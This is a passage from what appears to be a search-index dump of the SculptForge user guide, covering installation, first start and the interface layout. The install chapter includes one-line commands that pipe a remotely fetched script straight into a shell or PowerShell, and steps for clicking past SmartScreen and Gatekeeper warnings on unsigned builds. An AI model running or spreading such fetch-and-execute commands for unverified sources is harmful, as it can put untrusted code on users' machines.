Glossary"},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"","h":"Install SculptForge on Windows, macOS and Linux","t":"This chapter covers what SculptForge needs, which package to download for your system, what to expect the first time you open it, and how to build it from source."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"system-requirements","h":"System requirements","t":"Operating system: Windows 10 or 11 (x64), macOS 11 or later (Apple Silicon or Intel), or a 64-bit Linux distribution (x86_64 or ARM64) with X11 or Wayland. Graphics: a GPU and driver that support OpenGL 3.3 (core profile). Any graphics card from the last ten years qualifies, including integrated Intel, AMD and Apple GPUs. SculptForge asks for 4x multisampling and falls back to none if the driver refuses it. Input: a three-button mouse works for everything. A pen tablet adds pressure (see Sculpting and brushes). Network: not needed for sculpting. The free AI features (Brush Lab and image or text to 3D) and the community brush gallery need an internet connection unless you run models on your own machine. Note: SculptForge is a 64-bit desktop application. There is no web, iPad or Android version."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"download","h":"Download","t":"Each link below downloads the newest version. Pick the one for your system: System Download How to install Windows 10/11 (x64) Installer (.exe) Run the installer (adds a Start menu shortcut) Windows, portable Portable .zip Unzip anywhere and run bin\\sculptforge.exe macOS 11+ (Apple Silicon and Intel) SculptForge.dmg Open the disk image and drag SculptForge to Applications macOS with Homebrew brew install --cask islandmed/tap/sculptforge Updates with brew upgrade Ubuntu, Debian, Mint, Pop!_OS .deb for x86_64 or ARM64 sudo apt install ./sculptforge_amd64.deb Fedora, RHEL, Rocky, Alma 8+ .rpm for x86_64 or ARM64 sudo dnf install ./sculptforge.x86_64.rpm Any Linux AppImage for x86_64 or ARM64 chmod +x the file, then run it Any Linux, sandboxed Flatpak for x86_64 or ARM64 flatpak install --user ./SculptForge-linux-x86_64.flatpak (see Flatpak) Arch Linux packaging/arch/PKGBUILD in the source makepkg -si in that folder (an AUR package is planned) Studio pipelines SculptForge--...-vfx2026.tar.gz or ...-vfx2027.tar.gz See SculptForge for studios Most PCs are x86_64; ARM64 is for ARM laptops, Raspberry Pi and Apple Silicon Macs running Linux. Older versions are on the releases page."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"install-with-one-command","h":"Install with one command","t":"Instead of downloading by hand you can install (or update) with one command. On macOS and Linux it installs for your user only, with no administrator password: curl -fsSL https://raw.githubusercontent.com/islandmed/SculptForge/main/install/install.sh | sh On Windows, in PowerShell (it downloads and starts the installer): irm https://raw.githubusercontent.com/islandmed/SculptForge/main/install/install.ps1 | iex Both check the download against the release's checksums before installing. To uninstall on macOS or Linux, run the first command with sh -s -- --uninstall at the end instead of sh. Every release also has a SHA256SUMS.txt file with the checksum of each download, so you can confirm a file arrived intact. Each package contains two programs: SculptForge, the desktop application, and sculptforge-cli, the headless command-line tool for scripts, build farms and AI agents (see Scripting and automation). On macOS the command-line tool sits inside the app bundle, at SculptForge.app/Contents/MacOS/sculptforge-cli."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"flatpak","h":"Flatpak","t":"The Flatpak runs SculptForge in Flatpak's sandbox and works on any distribution that has Flatpak (most do; see flatpak.org/setup if yours doesn't). It is a single file: download it, then flatpak install --user ./SculptForge-linux-x86_64.flatpak # or ...-linux-arm64.flatpak flatpak run org.sculptforge.SculptForge SculptForge then appears in your application menu. The first install also downloads the freedesktop runtime it runs on (a few hundred MB, shared with other Flatpak apps) from Flathub; the file adds Flathub for that if it isn't set up. Only the runtime comes from Flathub: SculptForge itself is not published there. Updating: SculptForge tells you when there is a new version, as the other packages do. Download the new .flatpak and install it the same way; your settings are kept. flatpak update updates the runtime but not a SculptForge installed from a file. Uninstalling: flatpak uninstall org.sculptforge.SculptForge (add --delete-data to remove its settings too). Files: the sandbox can read and write your home folder, so projects, models and the textures beside them open as they would without it. Files elsewhere (another drive under /mnt or /media) open through the file dialog; to let SculptForge see a whole drive, run flatpak override --user --filesystem=/mnt/data org.sculptforge.SculptForge. Settings live in ~/.var/app/org.sculptforge.SculptForge/, not ~/.local/share/SculptForge, so a Flatpak and another install of SculptForge on the same computer keep separate settings and brushes. Your library in Documents/SculptForge is shared. Pen tablets and the SpaceMouse work in the sandbox. Blender bridge: the add-on finds the Flatpak by itself and exchanges models through the usual folder. Not in the sandbox: programs SculptForge starts on your computer, such as ffmpeg for recording demo videos and the splat trainer (Splat > Train), are not visible to it. Use another package for those. Ollama, ComfyUI and other local AI servers work, because SculptForge talks to them over the network. To build the Flatpak yourself from the source, install flatpak and flatpak-builder and run packaging/flatpak/build.sh; it writes SculptForge--.flatpak."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"windows","h":"Windows","t":"Windows is where most SculptForge artists work. The notes below cover the first start, pen tablets and screen scaling."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"smartscreen","h":"SmartScreen","t":"The builds are not code-signed yet, so the first start may show \"Windows protected your PC\". Click More info. Click Run anyway. To confirm the file is the one we published, compare it with SHA256SUMS.txt on the release page."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"pen-tablets-windows-ink-and-wintab","h":"Pen tablets: Windows Ink and Wintab","t":"SculptForge reads the pen through Windows Ink, the pen input built into Windows 10 and 11. When Windows Ink is off in the tablet driver, it takes the pressure from the driver's Wintab instead. Either way works; Windows Ink also gives the eraser end and tilt. Wacom: Wacom Tablet Properties > Mapping > Use Windows Ink. You can set it for SculptForge only by adding it as an application in Wacom Tablet Properties. Huion, XP-Pen, Gaomon, Ugee: Windows Ink (sometimes \"Windows Ink mode\") in the driver's settings. Pen displays and Surface-type pens use Windows Ink already. Check it in Edit > Preferences > Tablet: it shows \"Pressure: on\" once the pen has pressed, or \"Pressure: not detected\". A tablet plugged in while SculptForge runs works straight away. If pressure is missing, switch the driver's Windows Ink option and bring the pen back to the tablet. Mouse mode. Most drivers map the pen to the screen (pen mode): where the pen touches is where the cursor goes. If you set the driver to Mouse (relative) mode, the pen moves the cursor by how far it moves, like a mouse. Turn on Edit > Preferences > Tablet > Mouse mode (relative) to match it, or the cursor jumps when you put the pen down. Pen side buttons work as the driver sets them; a button set to Right click opens the Quick Menu. More in Troubleshooting: pen tablets."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"screen-scaling-dpi","h":"Screen scaling (DPI)","t":"SculptForge follows the Scale in Windows' Settings > System > Display, so text and buttons have the same size as in other apps at 125%, 150% or 200%. To make the interface larger or smaller than that, choose a size in Edit > Preferences > Interface > UI scale (Automatic follows Windows)."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"where-files-go","h":"Where files go","t":"Settings, brushes and the log: %APPDATA%\\SculptForge\\SculptForge (Help > Open log folder opens it). Your library (projects, snapshots, alphas, Lit Spheres): Documents\\SculptForge. See Where settings live for every file."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"opening-sculptforge-for-the-first-time","h":"Opening SculptForge for the first time","t":"The builds are not code-signed yet, so your operating system may warn you the first time."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"macos-gatekeeper","h":"macOS: Gatekeeper","t":"macOS may say that SculptForge \"cannot be opened because the developer cannot be verified\". In Finder, open the Applications folder. Right-click (or Ctrl+click) SculptForge and choose Open. Click Open in the dialog that appears. You only need to do this once. On recent macOS versions you may instead have to go to System Settings > Privacy & Security and click Open Anyway next to the message about SculptForge."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"windows-smartscreen","h":"Windows: SmartScreen","t":"Windows may show \"Windows protected your PC\". See Windows below."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"linux","h":"Linux","t":"The .deb and .rpm packages add SculptForge to your desktop's application menu. An AppImage needs to be made executable first (chmod +x SculptForge-*.AppImage, or tick \"Allow executing file as program\" in your file manager's properties)."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"wayland-and-x11","h":"Wayland and X11","t":"Every Linux package (.deb, .rpm, AppImage, Flatpak, tar.gz) opens as a native Wayland window on a Wayland desktop, without XWayland, and as a normal X11 window on an X11 session. On Wayland the window stays sharp at fractional and HiDPI scales (125%, 150%, 200%), and title bars come from the desktop (or from libdecor on GNOME). To force X11 (for example, a screen recorder or remote-desktop tool that only captures X11 windows), start SculptForge with: SDL_VIDEO_DRIVER=x11 sculptforge Pen tablets work on both. On Wayland, pressure, tilt, the eraser end and side buttons come through the desktop's tablet protocol (tablet-v2), so the tablet must be set up in your desktop's settings rather than through X11 tools such as xsetwacom. If pressure doesn't respond, check Edit > Preferences > Tablet for the live pressure reading."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"what-you-see-at-start-up","h":"What you see at start-up","t":"SculptForge opens a 1600 x 960 window with a sphere ready to sculpt and the Library open along the top of the canvas on its Project tab, so you can reopen recent work with a double-click. Press , (comma) to close it, or turn off Edit > Preferences > Library > Show at startup. The first start also creates your library folder (Documents/SculptForge, with Projects, Tools, Brushes, Alphas, Lit Spheres, Images, Splats and QuickSave (snapshots) sub-folders), which the Library shows as User. The first start also asks what you are Coming from: Classic sculpting keys, Blender, Maya or New to sculpting. Your answer picks the key style: Classic sculpting keys turns on the Classic sculpting keys, Blender and Maya their own styles, and New to sculpting keeps the SculptForge keys (the default). Change it any time in Edit > Preferences > Input > Style (see Keyboard and mouse); if you are updating from an earlier version, your saved style is kept and the question isn't asked. You can open a file directly from the command line, too: sculptforge model.obj (or a .glb, .sfproj, splat capture or image). sculptforge --fullscreen starts filling the screen; sculptforge --help lists every option. The next chapter, The interface, explains what everything on screen does."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"updating-and-uninstalling","h":"Updating and uninstalling","t":"SculptForge doesn't install updates by itself, but it tells you when there is one. Once a day at start-up it downloads a small file from its website that names the newest version; if yours is older, a banner at the top of the 3D view says what's new, with What's new, Download, Later and Skip this version. Nothing about you or your computer is sent. Help > Check for updates asks right away, and Edit > Preferences > Updates turns the daily check off. Builds from a package manager (such as the AUR package) leave updates to the package manager and don't check. To update, download the new release and install it over the old one. Your settings, brushes and library are kept: they live in your user folders, not next to the program (see Troubleshooting and FAQ for where). To uninstall, use your system's usual method (Settings > Apps on Windows, dragging the app to the Bin on macOS, sudo apt remove sculptforge or sudo dnf remove sculptforge on Linux, flatpak uninstall org.sculptforge.SculptForge for the Flatpak, or delete the AppImage). Delete the settings and library folders as well if you want to remove everything."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"building-from-source","h":"Building from source","t":"You need CMake 3.24 or later and a C++20 compiler: GCC 11+, Clang 14+, Xcode 15+ or Visual Studio 2022. Dear ImGui, GLM and (if it isn't installed already) SDL3 are downloaded automatically. AI features use libcurl on Linux and macOS and the built-in WinHTTP on Windows. git clone https://github.com/islandmed/SculptForge.git cd SculptForge # Linux only: compilers and X11/Wayland/GL/curl headers (Debian/Ubuntu or Fedora/RHEL) sudo ./packaging/linux/install-build-deps.sh cmake -S . -B build -DCMAKE_BUILD_TYPE=Release cmake --build build --parallel ctest --test-dir build --output-on-failure ./build/sculptforge On Windows the program is build\\Release\\sculptforge.exe; on macOS run open build/SculptForge.app. Useful CMake options: Option Default What it does SCULPTFORGE_BUILD_APP ON Build the desktop application (turn off for a headless build of sculptforge-cli only) SCULPTFORGE_BUILD_PYTHON OFF Build the Python module (import sculptforge); needs Python development headers SCULPTFORGE_BUILD_TESTS ON Build the unit and UI tests SCULPTFORGE_USE_SYSTEM_SDL ON Use an installed SDL3 if one is found Running cpack in the build folder makes the platform's packages (.deb, .rpm and .tar.gz on Linux, a .dmg on macOS, an installer and a .zip on Windows)."},{"p":"installing.html","c":"Install SculptForge on Windows, macOS and Linux","a":"see-also","h":"See also","t":"The interface Troubleshooting and FAQ SculptForge for studios"},{"p":"interface.html","c":"The interface","a":"","h":"The interface","t":"SculptForge's window has the 3D view (the canvas) in the middle, shelves of the most-used controls around it, menus along the top that hold every function, and trays at the sides where panels can stay open. It comes in two layouts: the SculptForge layout (the default), with menus by task, and the Classic layout, with a bar of alphabetical palettes. Both hold the same controls; see Looks and layouts to switch. This chapter walks through each region, the pop-up pickers, the Library, the built-in help, and how to rearrange the interface and keep your changes. The pictures show the default look and layout. The SculptForge window with its main regions labelled"},{"p":"interface.html","c":"The interface","a":"the-regions-at-a-glance","h":"The regions at a glance","t":"Region Where What it holds Menu bar Top edge The menus File, Edit, Sculpt, Paint, Mesh, View, Render, Help; the status message; mode, brush, file name, triangles and frame rate; layout presets 1 2 3; Search Top shelf Under the menu bar Sculpt/Paint, Draw/Move/Scale/Rotate, Add/Sub, Rgb, Draw Size, Intensity, Dynamic, symmetry Left shelf Left of the canvas Brush, Stroke, Alpha and Material tiles, the colour picker, Fill Canvas Centre The 3D view, with the Sculpt Timeline along its top; strokes and navigation start only here Right shelf Right of the canvas Undo and Redo, Frame, Move, Zoom and Rotate, display toggles, Solo Right tray Far right The Tool panel: the active Part, Parts, Layers, Geometry, Masking and more Bottom shelf Below the canvas Your quick brushes Press Tab to hide the shelves and trays for a bigger canvas, and again to bring them back. The menu bar stays, so every function is still one click away. The Classic layout has a title strip and a bar of 16 alphabetical palettes instead of the menu bar, and a two-row top shelf; the rest is the same. See The title strip and Palettes."},{"p":"interface.html","c":"The interface","a":"looks-and-layouts","h":"Looks and layouts","t":"Edit > Preferences > Interface > Look sets how the interface looks and how it is laid out. Neither changes your models, brushes or shortcuts. Layout: SculptForge (the default for new installs): a status bar along the top with the task menus File, Edit, Sculpt, Paint, Mesh, View, Render and Help, the document name and scene statistics; a one-row top shelf (Sculpt/Paint, Draw, Move, Scale, Rotate, Add/Sub, Rgb, Draw Size, Intensity, Dynamic, symmetry). Every palette is a section of one menu: File (File, Script), Edit (Edit, Preferences), Sculpt (Brush, Draw & Tablet, Stroke, Alpha, Symmetry & Gizmo), Paint (Vertex Paint & Color), Mesh (Parts & Geometry, which is the Tool palette, and Generate 3D), View (Display), Render (Materials, Gaussian Splats) and Help. Pin a section to a tray as you would a palette. Brush Lab, Front and the pressure options are under Sculpt, the Library and the console under View > Display, and F3 finds everything. Classic: the alphabetical palette bar under a title strip, and a two-row top shelf (see The title strip and Top shelf). Experienced sculptor? In the welcome shown at the first start, pick the Classic layout card or Coming from: Classic sculpting keys (which also sets the keys). Switching the layout swaps the shelves for that layout's standard ones; the trays and what is in them stay. Look (the colours and style): Forge Terminal (the default): tiles with small gaps and thin borders, JetBrains Mono for labels and numbers. Colours picks the scheme: Neutral (the default since 0.10.9: pure grey panels and the orange accent, so your model's colours read true), Tokyo Night (the default in 0.10.7 and 0.10.8), Catppuccin Mocha, Gruvbox Dark, Nord, Rosé Pine, Kanagawa or Everforest. Match my desktop theme uses your Omarchy theme's colours when Omarchy is installed (Linux; the option shows only then). SculptForge never changes the theme; toggle it again after switching themes. Classic: the dark grey interface with the orange accent that SculptForge had before 0.10.7, now exactly neutral grey (red, green and blue equal in every background, panel and frame colour). Phosphor: green or amber on black, monospace, with optional scanlines and glow on the interface (never on the 3D view). Blueprint: deep blue with cyan and white line work. Outlines (Forge Terminal, Phosphor and Blueprint) sets the panels' borders: Subtle (the default: faint borders, and nothing lights up under the pointer), Off (no borders; the gaps alone separate the panels) or On (clear borders, the panel under the pointer a faint step lighter). Outline opacity (0-100%, default 100%) fades the borders further into the panels. Hovering a control only gives that control a faint fill, never a bright border. The first start shows three looks to pick from in the welcome: Neutral, Forge Terminal (Tokyo Night) and Classic layout (Classic with the palette bar). Coming from sets the keys and the layout together: Classic sculpting keys (the keys and the Classic layout), Blender, Maya or New to sculpting (their keys, the SculptForge layout). Help > Welcome shows it again. Choosing Forge Terminal, Phosphor or Blueprint also switches to the SculptForge layout; you can pick the Classic layout again right after. The look and layout are remembered for the next start without Store Config (Store Config keeps them in your UI configuration too). Updating from an older version keeps the look and layout you had. A card, SculptForge has a new look, shows once: Try it switches to Forge Terminal with the Neutral colours and the SculptForge layout; Keep my layout changes nothing. Either way, Edit > Preferences > Interface > Look changes it later. In scripts: ui_look look=forge scheme=neutral outlines=subtle layout=sculptforge (or look=classic layout=classic)."},{"p":"interface.html","c":"The interface","a":"turning-ai-off","h":"Turning AI off","t":"Your art is never uploaded or used for training. AI features run only when you use them and can be turned off. Edit > Preferences > AI > Enable AI features turns off everything AI: AI Brush (Brush Lab, where you describe a brush in words) and Generate 3D (image or text to a model) leave the shelves, menus and the command palette, their commands leave scripts, sculptforge-cli and the MCP tool list, and SculptForge makes no AI network calls. The offline image tools (Relief, Inflate, Stamp) and the MCP server stay. The first-run welcome asks the same question. The choice is saved at once; turn it back on the same way, or search the command palette for \"Enable AI\". Studios can turn it off for everyone with the environment variable SF_AI=off (or start with --no-ai); the setting is then locked. See Studios."},{"p":"interface.html","c":"The interface","a":"the-menu-bar","h":"The menu bar","t":"From left to right: SculptForge and the task menus File, Edit, Sculpt, Paint, Mesh, View, Render, Help. Click a menu to open it: its sections are listed down the left (for example Sculpt has Brush, Draw & Tablet, Stroke, Alpha and Symmetry & Gizmo) and the chosen one opens beside them. See Menus and palettes. The status message: the result of the last command or action. Errors show in red for a few seconds. Mode (SCULPT, PAINT, MOVE...), the active brush, the file name (* after it means unsaved changes), the triangle count of the scene and the frame rate. On a narrow window the least important of these are left out. 1, 2, 3: the layout presets (see Layout presets). Search (F3): opens the command palette. Minimize and Close at the far right. Close asks to save changes first, as Ctrl+Q does."},{"p":"interface.html","c":"The interface","a":"the-title-strip-classic-layout","h":"The title strip (Classic layout)","t":"In the Classic layout the top edge is a title strip instead, with the palette bar under it. From left to right: SculptForge and the document name (\"Untitled\" until you save). A * after the name means there are unsaved changes; click the name to save (Ctrl+S). Scene statistics: vertices and triangles across all Parts, the active Part and its position (\"Part Body (2/5)\"), the active sculpt layer (\"Layer Base\" when you sculpt the base mesh), the number of Gaussian splats when a capture is loaded, and the frame rate. The status message: the result of the last command or action. Errors show in red for a few seconds. Point at a long message to read all of it. Snapshot: saves a timestamped copy of the whole scene to your library without touching your project file (see Projects, autosave and snapshots). 1, 2, 3: the layout presets (see Layout presets). Menus: shows or hides the palette bar. Search (F3): opens the command palette. Minimize and Close at the far right. Close asks to save changes first, as Ctrl+Q does."},{"p":"interface.html","c":"The interface","a":"menus-and-palettes","h":"Menus and palettes","t":"Every function in SculptForge lives in one of 16 palettes. In the SculptForge layout each palette is a section of one task menu (the table below); in the Classic layout the palettes sit side by side in the palette bar. Either way, click the name and the palette drops down under it. Click another name to switch, or press Esc or click outside to close it. The Sculpt menu open on its Stroke section Menu paths in this guide name what you click in the SculptForge layout: Edit > Preferences > Input is the Edit menu, its Preferences section, then the Input sub-palette. File and Edit have a section of the same name, which paths leave out (File > Save). Paths starting with Tool are in the Tool panel in the right tray, in both layouts (it is also Mesh > Parts & Geometry). In the Classic layout, drop the menu: Edit > Preferences > Input is Input in the palette named Preferences, and Sculpt > Stroke is the palette named Stroke. In the Classic layout, the palette bar lists File and Edit first and Help last, where other desktop applications put them, and the rest in alphabetical order. If you prefer strict A to Z order, turn on Edit > Preferences > Interface > Palettes strictly A-Z (strict order). Palette In the SculptForge layout What's in it File File New Sphere, New Plane, Open, Open Recent, Save, Save As, autosave interval, Import and every export (OBJ, GLB, LOD chain, USD/USDZ, FBX for Unreal, Send to Unreal, splats), Bridge, Quit Edit Edit Undo and Redo (with the name of the step), Paste brush Alpha Sculpt > Alpha The brush alphas: Round, Square, Noise and twelve patterns (Pores, Cracks, Scales...), images from your library, Load image, Invert loaded image Brush Sculpt > Brush AI Brush (Brush Lab), Community brushes, Paste brush, your custom brushes, Front faces only, Invert (Alt), the recipe editor for a custom brush, and every brush as a thumbnail grid with a filter Color Paint The Paint brush, RGB while sculpting, the paint colour and swatches, Fill, Fill masked, Cavity, Clear, Show vertex paint Draw Sculpt > Draw & Tablet Draw Size, Intensity, RGB Intensity, Falloff, Sculpt/Paint, Add/Sub, Rgb, Front, and the tablet options (Pressure > strength, Pressure > size) with a pen readout Generate Mesh > Generate 3D Generate 3D (image or text to 3D), Relief, Inflate and Stamp from an image, and the AI brush provider settings Material Render > Materials The Lit Sphere materials (Soft Clay, the default, first), your own (Load Lit Sphere...) and Studio, Base colour, Smooth / Flat shading for the scene and the active Part Preferences Edit > Preferences Config, Interface, Input, Hotkeys, Display, Library, Tablet, Performance, Updates and Autosave sub-palettes (see Customizing the interface) Render View Wireframe, Show Mesh, Show Vertex Paint, Show Mask, Show Face Groups, Show Splats, Background, Frame, Fullscreen Script File > Script Console, Run script file, Copy session as script, Clear console Splats Render > Gaussian Splats Gaussian splat tools: show, flip, turn, fit, clean floaters, Make sculptable, sculpt to splats, save, clear Stroke Sculpt > Stroke The stroke types (Dots, Drag Stamp, Spray, Lazy Stroke) and their settings Tool Mesh > Parts & Geometry, and the right tray The active Part with Open, Save and Import, and the Part, Layers, Paint Layers, Geometry, Remesh, Deformation, Masking, Face Groups, Visibility, Export and Display sub-palettes Transform Sculpt > Symmetry & Gizmo Draw, Move, Scale and Rotate (the Gizmo with its pivot, axes, options and numeric entry), Symmetry X, Y and Z, Frame, Solo, Wire Help Help Controls, User Guide, What's New, Command palette, Website & documentation, Report a problem, Support SculptForge..., About SculptForge"},{"p":"interface.html","c":"The interface","a":"sub-palettes","h":"Sub-palettes","t":"Large palettes are divided into sub-palettes: headers you click to open or close. The Tool palette is the main example (Part, Layers, Geometry and so on). By default opening one sub-palette closes the others in the same palette, which keeps the palette short. Shift+click a header to open it without closing the others, or turn off Edit > Preferences > Interface > One sub-palette open."},{"p":"interface.html","c":"The interface","a":"trays","h":"Trays","t":"The trays are columns at the far left and far right of the window where palettes stay open while you work. The right tray is open by default and holds the Tool palette; the left tray starts closed and empty. Put a palette in a tray: open it from its menu (or the palette bar) and click the tray icon at the left of its header. It goes into the right tray; Shift+click the icon to put it in the left tray. You can also drag the icon onto a tray. Take it out again: click the tray icon in its header inside the tray. The palette returns to its menu. Collapse it in place: click its title (or the arrow at the right of the header). Find it: a palette that is in a tray shows a tray icon beside its name in its menu (in the palette bar of the Classic layout, its name in the accent colour). Clicking the name scrolls the tray to the palette and flashes its header. Open or close a tray: click its divider, the thin strip with a grip between the tray and the shelves. Drag the divider to make the tray wider or narrower (240 to 480 pixels). The Stroke palette kept in the right tray, under the Tool panel When a tray holds several palettes, Edit > Preferences > Interface > Auto collapse left tray (on by default) and Auto collapse right tray (off by default) collapse the other palettes when the one you open would not fit. When you open a Gaussian splat capture, Render > Gaussian Splats moves into the right tray by itself. Note: on a window narrower than 1280 pixels (at 100% UI scale) the right tray folds away and palettes open as drop-downs only. The left-shelf tiles get smaller and the bottom shelf scrolls sideways with the mouse wheel."},{"p":"interface.html","c":"The interface","a":"the-shelves","h":"The shelves","t":"Shelves surround the canvas and hold the controls you use all the time. Point at anything with Ctrl held to see what it does. Right-click an item for Remove from shelf; see Customizing the interface to add items."},{"p":"interface.html","c":"The interface","a":"top-shelf","h":"Top shelf","t":"Sculpt / Paint (P): brushes change the shape, or paint colour without sculpting. Draw, Move, Scale, Rotate (Q W E R): sculpt, or move, scale and rotate the Part with the Gizmo. Add / Sub: brushes add to or subtract from the surface. Holding Alt flips it for one stroke. Rgb: sculpt brushes paint the colour at the same time. Draw Size: the brush radius in screen pixels (2 to 800). Intensity: how strongly each dab changes the surface (1 to 100). While Shift is held it shows Smooth's own value. Dynamic: dynamic topology, with its Detail slider while it is on. X, Y, Z: symmetry across each axis (X toggles X); R is radial symmetry. The Classic layout's top shelf has two rows: Library (,), Sculpt/Paint, Add/Sub, Rgb, Draw Size and Intensity on the first; AI Brush, Front, symmetry, Pressure > Strength and Pressure > Size, and the ActiveTris / TotalTris count on the second. In the SculptForge layout these are in the Sculpt menu (AI Brush, Front, pressure) and View menu (Library). Draw Size and Intensity are sliders with the label inside: drag along them, or Ctrl+click to type a value."},{"p":"interface.html","c":"The interface","a":"left-shelf","h":"Left shelf","t":"Four large tiles, each showing the current choice. Click one to open its pop-up picker: Brush: the active brush, with a rendered preview. Stroke: Dots, Drag Stamp, Spray or Lazy Stroke. Alpha: the brush's stamp shape. Material: how the model is shaded in the view. Under them is the colour picker for vertex paint (a saturation/value square and a hue strip), two swatches and Fill, which fills the unmasked area with the main colour."},{"p":"interface.html","c":"The interface","a":"right-shelf","h":"Right shelf","t":"Undo and Redo (Ctrl+Z, Ctrl+Shift+Z): greyed out when there is nothing to undo or redo. A layout you customised before they were added gets them at the top. Frame (F): fits the model in the view. Move, Zoom, Rotate: drag on these buttons to pan, zoom and orbit the view. Wire (Shift+F): shows the mesh's polygons: quads as quads, triangles as triangles. Groups: colours each face group. Mask (Ctrl+H): shows or hides the mask's darkening (on by default). Hiding it keeps the mask, which still protects the surface. Paint: shows vertex paint colours (on by default). Solo: shows only the active Part (available with two or more Parts). Splats: shows or hides a Gaussian splat capture (only shown while one is loaded). Options that are on are highlighted; a filled button in the accent colour marks only the current tool or mode. See Navigating the view for the camera."},{"p":"interface.html","c":"The interface","a":"bottom-shelf","h":"Bottom shelf","t":"A row of quick brushes: Standard, Clay, Clay Block, Sharp Crease, Move, Smooth, Inflate, Pinch, Flatten, Crease, Trim, Tendril, Layer, Nudge and Paint. The small digit in a tile's corner is its shortcut (1 to 9 and 0 select the first ten built-in brushes, P is Paint). The active brush is outlined in the accent colour. The bottom shelf of quick brushes Add a brush: click + at the end of the shelf and pick any brush, built-in or one of your own. Or right-click a brush in the brush picker and choose Add to bottom shelf. Custom brushes show a small sparkle in the corner. Remove a brush: right-click its tile and choose Remove from shelf. Bigger or smaller tiles: right-click any brush on the shelf and choose Tile size: Small, Medium (the default) or Large. The same setting is in Edit > Preferences > Interface > Shelf tiles. Small leaves the most room for the model on a laptop screen."},{"p":"interface.html","c":"The interface","a":"pop-up-pickers","h":"Pop-up pickers","t":"Pickers are pop-up grids of thumbnails. They open beside the left-shelf tile you click, or under the mouse when you use a key. They close when you pick something, press Esc or click elsewhere. Pointing at a tile for a moment shows Quick Info: a large preview and a description."},{"p":"interface.html","c":"The interface","a":"brush-picker","h":"Brush picker","t":"Press B (or click the Brush tile). The picker shows a Recent row, then Built-in, Custom (your brushes and Brush Lab creations) and Library (.sfbrush files in your library that aren't loaded yet; picking one loads it). The brush picker after pressing B and typing S Choose a brush with the keyboard: Press B. Type the first letter of the brush. Only the brushes starting with that letter stay, and each shows an orange letter: the next key that tells it apart. Press that orange letter to pick the brush. For example B S T picks Standard. Backspace takes back a letter and Enter picks the first match. If no name starts with what you typed, the picker falls back to names that contain it. The letter chips along the top (with a count for each letter) filter by a click as well. Right-click a brush for Add to bottom shelf and, for custom brushes, Copy brush code, Rename..., Save as .sfbrush..., Delete... and Reveal in folder (see Brush Lab and sharing brushes)."},{"p":"interface.html","c":"The interface","a":"stroke-alpha-and-material-pickers","h":"Stroke, Alpha and Material pickers","t":"Stroke (click the Stroke tile): Dots, Drag Stamp, Spray and Lazy Stroke, with Scatter for Spray, Steady Stroke (and its radius) and Precision Intensity. See Sculpting and brushes. Alpha (click the Alpha tile): Round, Square, Noise and the twelve built-in patterns (Pores, Cracks, Scales, Rivets, Stitches, Fabric Weave, Bark, Rock Strata, Wrinkles, Skin Folds, Hair Strands, Dot Grid), the image alpha you loaded, images in your library's Alphas folder, Load image... and Invert loaded image. Material (M, or click the Material tile): the Lit Spheres and Studio. Point at a material to preview it on the model; click to keep it. Closing the picker without clicking puts the old material back. See Vertex Paint and materials."},{"p":"interface.html","c":"The interface","a":"sliders-at-the-cursor-and-the-quick-menu","h":"Sliders at the cursor and the Quick Menu","t":"Press S for a Draw Size slider under the mouse, U for Intensity, I for RGB Intensity or O for Falloff. Drag the slider, or type a number and press Enter (Esc cancels). The pop-up closes when you release the slider. [ and ] make the brush 10% smaller or larger at any time. Space (or a right click on the canvas) opens the Quick Menu with all of them and the brush, stroke, alpha and material (see The Quick Menu)."},{"p":"interface.html","c":"The interface","a":"the-library","h":"The Library","t":"The Library is a strip of thumbnails across the top of the canvas for browsing everything you can load. Press , (comma) or click Library on the top shelf to show or hide it. It opens on its own at start-up (see Preferences). The Library on the Tool tab Tab Shows Double-click Project Projects (.sfproj) in your library and recently opened projects Open the project Tool Sphere, Plane and Cube, and model files in your library Open (replaces the scene) Brush Every brush: built-in, custom and .sfbrush files, and the VDM brushes (built-in ones too) Select or load the brush Alpha Round, Square, Noise, the twelve built-in patterns and images in your Alphas folder Use as the brush alpha Material The Lit Spheres (your own included) and Studio Use the material Image Reference images in your library A menu: Generate 3D, relief, inflate, project onto the model, use as alpha Splats Gaussian splat captures (.ply, .splat) Open the capture as a reference Snapshots The autosave and your snapshots, newest first Open it Recent Recently opened files of every kind Open it Working with the strip: Shift+double-click a model, project or primitive to append it to the scene as a new Part instead of replacing the scene. Drag sideways (or use the mouse wheel) to scroll through the strip. A drag of more than a few pixels scrubs, so a plain click still selects. Drag a tile down out of the Library onto the canvas to load it, like a double-click. Folders open with a double-click; the first tile inside a folder goes back up. The arrows at the top go back and forward through tabs and folders, and the breadcrumb shows where you are. Type in Filter to show only items whose names contain the text. Choose 1 to 4 rows of thumbnails. Open folder... adds a folder of your own to the root of every tab. On the Snapshots tab, Save now takes a snapshot. The x at the right end of the header, or Esc, closes the Library (while you type in Filter, Esc first leaves the field). The x stays on screen on small displays such as 1280x720. Right-click a tile for Open, Append as Part, the image actions, Show in file manager and Refresh thumbnail. At the root of the Tool and Image tabs is a Built-in folder (the models and images that ship with SculptForge, such as the demo lion head), and the Project, Tool, Brush, Alpha, Image and Splats tabs have a User folder, your library folder (Documents/SculptForge by default). To use a different library folder, choose it in Edit > Preferences > Library > Library folder."},{"p":"interface.html","c":"The interface","a":"ctrl-hover-help","h":"Ctrl-hover help","t":"Hold Ctrl and point at any button, slider, tile or shelf item. A box shows the item's name, its 